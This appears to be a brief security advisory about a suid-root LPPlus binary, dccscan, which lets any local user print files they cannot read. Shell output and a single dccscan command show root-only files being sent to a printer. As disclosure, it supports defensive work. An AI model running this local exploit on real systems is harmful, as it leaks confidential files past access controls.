$LPHOME/bin/dccscan is suid-root and can be executed by any user. It is possible for an unprivileged user to print files to which he does not have read access. In testing, this works even for printers to which the user is is not given any access in the LPPlus security configuration.

# id
uid=0(root) gid=1(other)
# ls -alt /root/test
total 6
drwx------ 2 root other 512 Sep 5 17:46 .
-r-------- 1 root other 365 Sep 5 17:46 foo
drwx------ 3 root other 512 Sep 5 17:46 ..

$ ls -alt /root/test

$ dccscan /root/test 30 5 "-dlp0"

# now, go to the printer and wait for the files to come out, or watch them
